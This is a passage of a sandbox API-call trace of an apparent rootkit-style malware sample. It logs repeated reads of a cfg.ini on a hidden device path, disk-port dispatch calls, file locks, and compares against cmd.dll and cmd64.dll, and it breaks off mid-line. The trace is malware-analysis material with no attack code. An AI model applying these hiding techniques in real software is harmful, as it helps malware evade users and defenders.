[0121.279] KeWaitForMutexObject () returned 0x0 [0121.279] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.280] KeLeaveCriticalRegion () [0121.280] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.280] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.280] KeEnterCriticalRegion () [0121.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.280] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ec000 [0121.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.280] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.280] IdePortDispatch () returned 0x103 [0121.280] KeWaitForMutexObject () returned 0x0 [0121.280] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.280] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.280] IdePortDispatch () returned 0x103 [0121.280] KeWaitForMutexObject () returned 0x0 [0121.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.280] KeLeaveCriticalRegion () [0121.280] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.281] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.281] KeEnterCriticalRegion () [0121.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.281] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.281] KeLeaveCriticalRegion () [0121.281] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.281] KeEnterCriticalRegion () [0121.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.281] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.281] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc48e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.281] KeLeaveCriticalRegion () [0121.281] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.281] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.281] KeEnterCriticalRegion () [0121.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.281] ExFreePoolWithTag (P=0xfffffa8003bbe140, Tag=0x0) [0121.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.281] KeLeaveCriticalRegion () [0121.281] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.281] ReleaseMutex (hMutex=0xf0) returned 1 [0121.281] Sleep (dwMilliseconds=0x124f80) [0121.296] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.296] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.296] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.296] KeEnterCriticalRegion () [0121.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.296] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.296] IdePortDispatch () returned 0x103 [0121.296] KeWaitForMutexObject () returned 0x0 [0121.297] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.297] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.297] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.297] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.297] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.297] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4860 [0121.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.297] KeLeaveCriticalRegion () [0121.297] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.297] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.297] KeEnterCriticalRegion () [0121.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.297] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.297] KeLeaveCriticalRegion () [0121.297] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.297] KeEnterCriticalRegion () [0121.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.297] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.297] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.297] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.297] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.297] IdePortDispatch () returned 0x103 [0121.297] KeWaitForMutexObject () returned 0x0 [0121.297] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.297] KeLeaveCriticalRegion () [0121.297] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.298] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.298] KeEnterCriticalRegion () [0121.298] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.298] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000a01000 [0121.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.298] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.298] IdePortDispatch () returned 0x103 [0121.298] KeWaitForMutexObject () returned 0x0 [0121.298] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.298] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.298] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.298] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.298] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.298] IdePortDispatch () returned 0x103 [0121.298] KeWaitForMutexObject () returned 0x0 [0121.298] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.298] KeLeaveCriticalRegion () [0121.298] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.299] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.299] KeEnterCriticalRegion () [0121.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.299] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.299] KeLeaveCriticalRegion () [0121.299] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.299] KeEnterCriticalRegion () [0121.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.299] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.299] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4590, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.299] KeLeaveCriticalRegion () [0121.299] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.299] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.299] KeEnterCriticalRegion () [0121.299] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.299] ExFreePoolWithTag (P=0xfffffa8003bc4860, Tag=0x0) [0121.299] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.299] KeLeaveCriticalRegion () [0121.299] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.299] ReleaseMutex (hMutex=0xf0) returned 1 [0121.299] Sleep (dwMilliseconds=0x124f80) [0121.313] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.313] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.313] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.313] KeEnterCriticalRegion () [0121.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.313] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.313] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.313] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.313] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.313] IdePortDispatch () returned 0x103 [0121.313] KeWaitForMutexObject () returned 0x0 [0121.313] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.313] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.313] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.313] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.313] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.313] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe140 [0121.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.313] KeLeaveCriticalRegion () [0121.313] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.313] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.313] KeEnterCriticalRegion () [0121.313] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.313] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.313] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.313] KeLeaveCriticalRegion () [0121.313] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.313] KeEnterCriticalRegion () [0121.314] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.314] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.314] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.314] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.314] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.314] IdePortDispatch () returned 0x103 [0121.319] KeWaitForMutexObject () returned 0x0 [0121.319] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.319] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.319] KeLeaveCriticalRegion () [0121.319] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.319] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.319] KeEnterCriticalRegion () [0121.319] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.319] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b06000 [0121.319] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.319] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.319] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.319] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.319] IdePortDispatch () returned 0x103 [0121.319] KeWaitForMutexObject () returned 0x0 [0121.320] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.320] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.320] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.320] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.320] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.320] IdePortDispatch () returned 0x103 [0121.321] KeWaitForMutexObject () returned 0x0 [0121.321] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.321] KeLeaveCriticalRegion () [0121.321] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.321] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.322] KeEnterCriticalRegion () [0121.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.322] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.322] KeLeaveCriticalRegion () [0121.322] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.322] KeEnterCriticalRegion () [0121.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.322] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.322] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc4970, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.322] KeLeaveCriticalRegion () [0121.322] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.322] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.322] KeEnterCriticalRegion () [0121.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.322] ExFreePoolWithTag (P=0xfffffa8003bbe140, Tag=0x0) [0121.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.322] KeLeaveCriticalRegion () [0121.322] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.322] ReleaseMutex (hMutex=0xf0) returned 1 [0121.322] Sleep (dwMilliseconds=0x124f80) [0121.336] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.336] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.336] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.336] KeEnterCriticalRegion () [0121.336] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.336] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.336] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.336] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.336] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0121.336] IdePortDispatch () returned 0x103 [0121.336] KeWaitForMutexObject () returned 0x0 [0121.336] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.336] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.336] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.336] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.336] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.337] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4180 [0121.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.337] KeLeaveCriticalRegion () [0121.337] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.337] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.337] KeEnterCriticalRegion () [0121.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.337] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.337] KeLeaveCriticalRegion () [0121.337] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.337] KeEnterCriticalRegion () [0121.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.337] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0121.337] IdePortDispatch () returned 0x103 [0121.337] KeWaitForMutexObject () returned 0x0 [0121.337] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.337] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.337] KeLeaveCriticalRegion () [0121.337] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.337] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.337] KeEnterCriticalRegion () [0121.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.337] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0b000 [0121.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.337] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.337] IdePortDispatch () returned 0x103 [0121.337] KeWaitForMutexObject () returned 0x0 [0121.338] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.338] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.338] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.338] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.338] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0121.338] IdePortDispatch () returned 0x103 [0121.338] KeWaitForMutexObject () returned 0x0 [0121.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.338] KeLeaveCriticalRegion () [0121.338] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.338] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.338] KeEnterCriticalRegion () [0121.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 